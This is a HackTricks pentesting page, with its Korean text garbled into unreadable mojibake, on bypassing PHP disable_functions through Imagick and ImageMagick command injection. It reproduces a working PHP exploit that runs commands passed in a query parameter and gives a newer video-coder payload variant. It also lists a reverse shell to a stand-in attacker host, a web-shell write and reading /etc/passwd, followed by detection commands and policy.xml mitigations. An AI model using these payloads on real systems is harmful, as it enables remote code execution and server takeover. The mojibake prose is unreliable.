Imagick <= 3.3.0 β PHP >= 5.4 disable_functions Bypass
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
μ μλ €μ§ ImageTragick λ²κ·Έ ν¨λ°λ¦¬ (CVE-2016-3714 λ±)λ 곡격μκ° μ‘°μλ MVG/SVG μ λ ₯μ ν΅ν΄ κΈ°λ³Έ ImageMagick λ°μ΄λ리μ μ κ·Όν μ μκ² ν©λλ€. PHP νμ₯ Imagickκ° μ‘΄μ¬ν λ, μ΄λ λͺ¨λ μ€ν μ§ν₯ PHP ν¨μκ°
disable_functionsλ‘ λΈλ리μ€νΈμ μ¬λΌκ° μλλΌλ μ Έ λͺ λ Ήμ μ€ννλ λ° μ μ©λ μ μμ΅λλ€.2016λ 5μ RicterZ (Chaitin Security Research Lab)μ μν΄ λ°νλ μλ PoCκ° μλμ μ¬νλμμ΅λλ€. μ΄ κΈ°μ μ λ§μ 곡μ νΈμ€ν μ 곡μ μ²΄κ° λ¨μν
exec/systemμμ΄ PHPλ₯Ό μ»΄νμΌνμ§λ§ ꡬμ Imagick + ImageMagick μ‘°ν©μ μ μ§νκΈ° λλ¬Έμ νλ PHP 7/8 κ°μ¬ μ€μ μ¬μ ν μ κΈ°μ μΌλ‘ λ°κ²¬λ©λλ€.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($tmp);
?>
μ μλν κΉμ?
Imagick::readImage()λ ImageMagick delegate(convert/magick) λ°μ΄λ리λ₯Ό ν¬λͺ νκ² μμ±ν©λλ€.- MVG μ€ν¬λ¦½νΈλ fillμ μΈλΆ URIλ‘ μ€μ ν©λλ€. μ΄μ€ μΈμ©λΆνΈ(
")κ° μ£Όμ λλ©΄, λλ¨Έμ§ μ€μ ImageMagickμ΄ λ΄λΆμ μΌλ‘ μ¬μ©νλ/bin/sh βcμ μν΄ ν΄μλμ΄ β μμμ μ Έ μ€νμ΄ λ°μν©λλ€. - λͺ¨λ κ²μ PHP μΈν°νλ¦¬ν° μΈλΆμμ λ°μνλ―λ‘
disable_functions, open_basedir,safe_mode(PHP 5.4μμ μ κ±°λ¨) λ° μ μ¬ν νλ‘μΈμ€ λ΄ μ νμ΄ μμ ν μ°νλ©λλ€.
2025 μν β μ¬μ ν κ΄λ ¨ μμ
- μ·¨μ½ν ImageMagick λ°±μλμ μμ‘΄νλ λͺ¨λ Imagick λ²μ μ μ¬μ ν μ
μ©λ μ μμ΅λλ€. μ€νμ€ ν
μ€νΈμμ λμΌν νμ΄λ‘λλ Imagick 3.7.0 λ° ImageMagick 7.1.0-51μμ PHP 8.3μμ μλν©λλ€. νλλλ
policy.xmlμμ΄ μ»΄νμΌλμμ΅λλ€. - 2020λ
μ΄ν μ¬λ¬ μΆκ° λͺ
λ Ή μ£Όμ
벑ν°κ° λ°κ²¬λμμ΅λλ€(
video:pixel-format,ps:,text:μ½λβ¦). μ΅κ·Όμ λ κ°μ§ κ³΅κ° μμλ λ€μκ³Ό κ°μ΅λλ€: - CVE-2020-29599 β text: μ½λλ₯Ό ν΅ν μ Έ μ£Όμ .
- GitHub issue #6338 (2023) β video: delegateμμμ μ£Όμ .
μ΄μ 체μ κ° μ νμ μΈ μ μ± νμΌ μμ΄ ImageMagick < 7.1.1-11 (λλ 6.x < 6.9.12-73)μ μ 곡νλ κ²½μ°, μ μ©μ κ°λ¨ν©λλ€.
νλ νμ΄λ‘λ λ³ν
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
CTF λλ μ€μ μ°Έμ¬ μ€ μ μ©ν λ€λ₯Έ μμ κΈ°λ₯:
- νμΌ μ°κΈ° β
... > /var/www/html/shell.php(open_basedir μΈλΆμ μΉ μ Έ μ°κΈ°) - 리λ²μ€ μ
Έ β
bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - μ΄κ±° β
id; uname -a; cat /etc/passwd
λΉ λ₯Έ νμ§ λ° μ΄κ±°
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
μΆλ ₯μ΄ MVG λλ URL μ½λκ° νμ±νλμ΄ μμμ 보μ¬μ£Όλ©΄, λμμ μλ§λ μ·¨μ½ν κ²μ
λλ€.
μν μ‘°μΉ
- ν¨μΉ/μ κ·Έλ μ΄λ β ImageMagick β₯ 7.1.1-11 (λλ μ΅μ 6.x LTS) λ° Imagick β₯ 3.7.2λ₯Ό μ¬μ©νμμμ€.
policy.xmlκ°ν β κ³ μν μ½λλ₯Ό λͺ μμ μΌλ‘ λΉνμ±ννμμμ€:
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
- μ λ’°ν μ μλ νΈμ€ν
νκ²½μμ νμ₯μλ₯Ό μ κ±°νμμμ€. λλΆλΆμ μΉ μ€νμμ
GDλλImagickλ μ격ν νμνμ§ μμ΅λλ€. disable_functionsλ μ¬μΈ΅ λ°©μ΄λ‘λ§ μ·¨κΈνμμμ€ β μ λ κΈ°λ³Έ μλλ°μ€ λ©μ»€λμ¦μΌλ‘ μ¬μ©νμ§ λ§μμμ€.
μ°Έμ‘°
- GitHub ImageMagick issue #6338 β Command injection via video:pixel-format (2023)
- CVE-2020-29599 β ImageMagick shell injection via text: coder
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


